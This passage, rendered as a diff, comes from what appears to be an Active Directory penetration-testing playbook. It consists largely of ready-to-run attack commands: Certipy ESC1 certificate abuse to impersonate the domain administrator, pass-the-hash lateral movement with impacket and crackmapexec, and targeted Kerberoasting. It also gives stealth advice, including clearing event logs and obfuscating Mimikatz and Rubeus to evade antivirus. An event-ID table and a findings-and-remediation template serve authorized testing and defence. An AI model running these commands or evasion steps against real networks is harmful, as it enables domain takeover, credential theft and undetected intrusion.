"cifs/TARGET_COMPUTER.corp.local@$DOMAIN" \
|
|
880
|
+
Administrator \
|
|
881
|
+
admin_on_target.ccache
|
|
882
|
+
|
|
883
|
+
# 4. Access target as Administrator
|
|
884
|
+
export KRB5CCNAME=admin_on_target.ccache
|
|
885
|
+
impacket-smbclient -k -no-pass Administrator@TARGET_COMPUTER.corp.local
|
|
886
|
+
|
|
887
|
+
# 5. Certipy to escalate further if vulnerable CA exists
|
|
888
|
+
certipy find -u "$USER@$DOMAIN" -p "$PASS" -dc-ip $DC_IP -vulnerable
|
|
889
|
+
# If ESC1/ESC3 found — request cert as DA
|
|
890
|
+
certipy req -u "$USER@$DOMAIN" -p "$PASS" -dc-ip $DC_IP \
|
|
891
|
+
-target <CA_HOST> -ca "corp-CA" -template "ESC1Template" \
|
|
892
|
+
-upn "administrator@corp.local"
|
|
893
|
+
certipy auth -pfx administrator.pfx -dc-ip $DC_IP
|
|
894
|
+
# Full NTLM hash + TGT for Domain Admin
|
|
895
|
+
```
|
|
896
|
+
|
|
897
|
+
---
|
|
898
|
+
|
|
899
|
+
## OPSEC Considerations
|
|
900
|
+
|
|
901
|
+
### High-Detection Risk Activities
|
|
902
|
+
|
|
903
|
+
| Technique | Detection Risk | Reason |
|
|
904
|
+
|---|---|---|
|
|
905
|
+
| BloodHound / SharpHound full collection | HIGH | Massive LDAP query volume in short time |
|
|
906
|
+
| Kerberoasting all SPNs at once | MEDIUM-HIGH | Unusual TGS-REQ burst for service accounts |
|
|
907
|
+
| DCSync | HIGH | Replication traffic from non-DC source |
|
|
908
|
+
| PsExec (impacket) | HIGH | Creates PSEXESVC service, writes to disk |
|
|
909
|
+
| LLMNR Poisoning (Responder) | MEDIUM | ARP anomalies, LLMNR responses from unexpected host |
|
|
910
|
+
| Password Spraying | MEDIUM-HIGH | Multiple failed logons across accounts |
|
|
911
|
+
| PrinterBug / PetitPotam coercion | HIGH | Unusual RPC calls, event ID 4648 |
|
|
912
|
+
|
|
913
|
+
### Low-Detection Alternatives
|
|
914
|
+
|
|
915
|
+
```bash
|
|
916
|
+
# Instead of BloodHound full collection — query incrementally
|
|
917
|
+
bloodhound-python -c DCOnly ... # Only DC data, no session enum
|
|
918
|
+
bloodhound-python -c Group,ACL ... # Specific collection methods
|
|
919
|
+
|
|
920
|
+
# Kerberoast only targeted SPNs (not all at once)
|
|
921
|
+
impacket-GetUserSPNs "$DOMAIN/$USER:$PASS" -dc-ip $DC_IP \
|
|
922
|
+
-request-user svc_sql # Single target, not bulk
|
|
923
|
+
|
|
924
|
+
# Use WMIexec or SMBexec instead of PSexec (less noisy)
|
|
925
|
+
impacket-wmiexec "$DOMAIN/Admin@TARGET" -hashes "$HASH"
|
|
926
|
+
impacket-smbexec "$DOMAIN/Admin@TARGET" -hashes "$HASH"
|
|
927
|
+
|
|
928
|
+
# Slow password spray (1 attempt per 30 min per account)
|
|
929
|
+
# Respect lockout threshold — check before spraying
|
|
930
|
+
|
|
931
|
+
# Use native Windows tools where possible (LOLBins)
|
|
932
|
+
# net use \\server /user:domain\admin <pass>
|
|
933
|
+
# wmic /node:TARGET /user:DOMAIN\Admin /password:Pass process call create "cmd"
|
|
934
|
+
```
|
|
935
|
+
|
|
936
|
+
### OPSEC Checklist
|
|
937
|
+
|
|
938
|
+
- [ ] Sync time with DC before any Kerberos operations (`ntpdate $DC_IP`)
|
|
939
|
+
- [ ] Check domain lockout policy before spraying (`enum4linux-ng -P $DC_IP`)
|
|
940
|
+
- [ ] Use HTTPS/WinRM over SMB when possible (port 5985 less monitored than 445)
|
|
941
|
+
- [ ] Avoid running BloodHound during business hours if stealth is required
|
|
942
|
+
- [ ] Clear event logs after actions if rules of engagement permit
|
|
943
|
+
- [ ] Use obfuscated versions of Rubeus/Mimikatz to bypass AV (Invoke-Obfuscation)
|
|
944
|
+
- [ ] Prefer Kerberos authentication over NTLM when possible (less NTLM events)
|
|
945
|
+
- [ ] Use `--kdcHost` in impacket commands to avoid DC lookup anomalies
|
|
946
|
+
- [ ] Randomize sleep intervals between lateral movement attempts
|
|
947
|
+
- [ ] Clean up created computer accounts, certificates, and ACL changes after engagement
|
|
948
|
+
|
|
949
|
+
### Key Windows Event IDs to Know
|
|
950
|
+
|
|
951
|
+
| Event ID | Description | Triggered By |
|
|
952
|
+
|---|---|---|
|
|
953
|
+
| 4768 | Kerberos TGT request | AS-REQ (normal auth, AS-REP Roasting) |
|
|
954
|
+
| 4769 | Kerberos service ticket request | Kerberoasting |
|
|
955
|
+
| 4771 | Kerberos pre-auth failed | Bad password / spray attempt |
|
|
956
|
+
| 4624 | Successful logon | PtH, PtT, normal logon |
|
|
957
|
+
| 4625 | Failed logon | Password spray |
|
|
958
|
+
| 4648 | Explicit credential logon | Unusual — indicates pass-the-hash patterns |
|
|
959
|
+
| 4662 | Object access on AD | DCSync triggers this on DC |
|
|
960
|
+
| 4742 | Computer account changed | RBCD, Shadow Creds |
|
|
961
|
+
| 4738 | User account changed | Shadow Credentials, AdminSDHolder |
|
|
962
|
+
| 5136 | Directory service object modified | RBCD, Shadow Creds, ACL changes |
|
|
963
|
+
|
|
964
|
+
---
|
|
965
|
+
|
|
966
|
+
## Output and Documentation Instructions
|
|
967
|
+
|
|
968
|
+
### Evidence Collection Per Attack Phase
|
|
969
|
+
|
|
970
|
+
```bash
|
|
971
|
+
# Create organized evidence directory
|
|
972
|
+
mkdir -p /tmp/ad-engagement/{enum,creds,lateral,escalation,screenshots}
|
|
973
|
+
cd /tmp/ad-engagement
|
|
974
|
+
|
|
975
|
+
# Phase 1 — Enumeration evidence
|
|
976
|
+
ls -la /usr/share/responder/logs/ # Responder captures
|
|
977
|
+
cp ldap_users.txt ldap_groups.txt ldap_computers.txt enum/
|
|
978
|
+
cp valid_users.txt spray_results.txt enum/
|
|
979
|
+
cp *.zip enum/bloodhound_data.zip # BloodHound ZIP
|
|
980
|
+
|
|
981
|
+
# Phase 2 — Credential evidence
|
|
982
|
+
cp kerberoast_hashes.txt asrep_hashes.txt creds/
|
|
983
|
+
# Document cracked creds: username:password pairs
|
|
984
|
+
echo "svc_sql:Sql@dmin2023" >> creds/cracked_creds.txt
|
|
985
|
+
|
|
986
|
+
# Phase 3 — Lateral movement
|
|
987
|
+
# Screenshot of CME "+" results showing admin access
|
|
988
|
+
crackmapexec smb 192.168.1.0/24 -u $USER -H $HASH 2>/dev/null \
|
|
989
|
+
| tee lateral/ptH_results.txt
|
|
990
|
+
|
|
991
|
+
# Phase 4 — Escalation
|
|
992
|
+
cp all_hashes.txt escalation/dcsync_output.txt
|
|
993
|
+
# Capture DA shell proof
|
|
994
|
+
echo "whoami /all" | impacket-psexec ... | tee escalation/da_proof.txt
|
|
995
|
+
|
|
996
|
+
# Timestamp all evidence
|
|
997
|
+
date -u > engagement_timestamps.txt
|
|
998
|
+
```
|
|
999
|
+
|
|
1000
|
+
### Finding Documentation Format
|
|
1001
|
+
|
|
1002
|
+
For each attack path, document:
|
|
1003
|
+
|
|
1004
|
+
```
|
|
1005
|
+
FINDING: [Attack Name]
|
|
1006
|
+
Severity: Critical / High / Medium / Low
|
|
1007
|
+
CVSS: [score]
|
|
1008
|
+
|
|
1009
|
+
Affected Assets:
|
|
1010
|
+
- Domain: corp.local
|
|
1011
|
+
- Affected accounts/systems: [list]
|
|
1012
|
+
|
|
1013
|
+
Attack Description:
|
|
1014
|
+
[1-2 sentence description]
|
|
1015
|
+
|
|
1016
|
+
Steps to Reproduce:
|
|
1017
|
+
1. [exact commands]
|
|
1018
|
+
2. [exact commands]
|
|
1019
|
+
|
|
1020
|
+
Evidence:
|
|
1021
|
+
- Screenshot: [path]
|
|
1022
|
+
- Command output: [path]
|
|
1023
|
+
- BloodHound graph: [exported path]
|
|
1024
|
+
|
|
1025
|
+
Impact:
|
|
1026
|
+
[What attacker can do with this access]
|
|
1027
|
+
|
|
1028
|
+
Remediation:
|
|
1029
|
+
[Specific, actionable fix]
|
|
1030
|
+
```
|
|
1031
|
+
|
|
1032
|
+
---
|
|
1033
|
+
|
|
1034
|
+
## Resources
|
|
1035
|
+
|
|
1036
|
+
### Official Tools and Repositories
|
|
1037
|
+
|
|
1038
|
+
| Tool | URL | Purpose |
|
|
1039
|
+
|---|---|---|
|
|
1040
|
+
| Impacket | https://github.com/fortra/impacket | AD attack suite |
|
|
1041
|
+
| BloodHound | https://github.com/BloodHoundAD/BloodHound | AD attack path analysis |
|
|
1042
|
+
| BloodHound Python | https://github.com/dirkjanm/BloodHound.py | Linux BloodHound ingestor |
|
|
1043
|
+
| SharpHound | https://github.com/BloodHoundAD/SharpHound | Windows BloodHound ingestor |
|
|
1044
|
+
| CrackMapExec | https://github.com/byt3bl33d3r/CrackMapExec | Swiss army knife for AD |
|
|
1045
|
+
| NetExec | https://github.com/Pennyw0rth/NetExec | CME successor |
|
|
1046
|
+
| Kerbrute | https://github.com/ropnop/kerbrute | Kerberos enumeration |
|
|
1047
|
+
| Rubeus | https://github.com/GhostPack/Rubeus | C# Kerberos toolkit |
|
|
1048
|
+
| Mimikatz | https://github.com/gentilkiwi/mimikatz | Credential dumping |
|
|
1049
|
+
| Responder | https://github.com/lgandx/Responder | LLMNR/NBT-NS poisoning |
|
|
1050
|
+
| Evil-WinRM | https://github.com/Hackplayers/evil-winrm | WinRM shells |
|
|
1051
|
+
| Certipy | https://github.com/ly4k/Certipy | AD CS attacks |
|
|
1052
|
+
| pywhisker | https://github.com/ShutdownRepo/pywhisker | Shadow Credentials |
|
|
1053
|
+
| PKINITtools | https://github.com/dirkjanm/PKINITtools | PKINIT/S4U2Self |
|
|
1054
|
+
| bloodyAD | https://github.com/CravateRouge/bloodyAD | AD attribute manipulation |
|
|
1055
|
+
| PetitPotam | https://github.com/topotam/PetitPotam | EFS coercion |
|
|
1056
|
+
| PrinterBug | https://github.com/dirkjanm/krbrelayx | MS-RPRN coercion |
|
|
1057
|
+
| PowerView | https://github.com/PowerShellMafia/PowerSploit | PowerShell AD recon |
|
|
1058
|
+
|
|
1059
|
+
### Learning Resources
|
|
1060
|
+
|
|
1061
|
+
| Resource | URL |
|
|
1062
|
+
|---|---|
|
|
1063
|
+
| HackTricks AD | https://book.hacktricks.xyz/windows-hardening/active-directory-methodology |
|
|
1064
|
+
| SpecterOps Blog | https://posts.specterops.io |
|
|
1065
|
+
| harmj0y Blog | https://blog.harmj0y.net |
|
|
1066
|
+
| AD Security Blog | https://adsecurity.org |
|
|
1067
|
+
| The Hacker Recipes | https://www.thehacker.recipes/ad |
|
|
1068
|
+
| BloodHound Documentation | https://support.bloodhoundenterprise.io |
|
|
1069
|
+
| Impacket Examples | https://github.com/fortra/impacket/tree/master/examples |
|
|
1070
|
+
|
|
1071
|
+
### Key Research Papers / Posts
|
|
1072
|
+
|
|
1073
|
+
- Kerberoasting: https://blog.harmj0y.net/powershell/kerberoasting-without-mimikatz/
|
|
1074
|
+
- RBCD Abuse: https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution
|
|
1075
|
+
- Shadow Credentials: https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab
|
|
1076
|
+
- AD CS ESC1-ESC8: https://posts.specterops.io/certified-pre-owned-d95910965cd2
|
|
1077
|
+
- Golden Ticket: https://adsecurity.org/?p=1640
|
|
1078
|
+
- Forest Trust Abuse: https://dirkjanm.io/active-directory-forest-trusts-part-one-how-does-sid-filtering-work/
|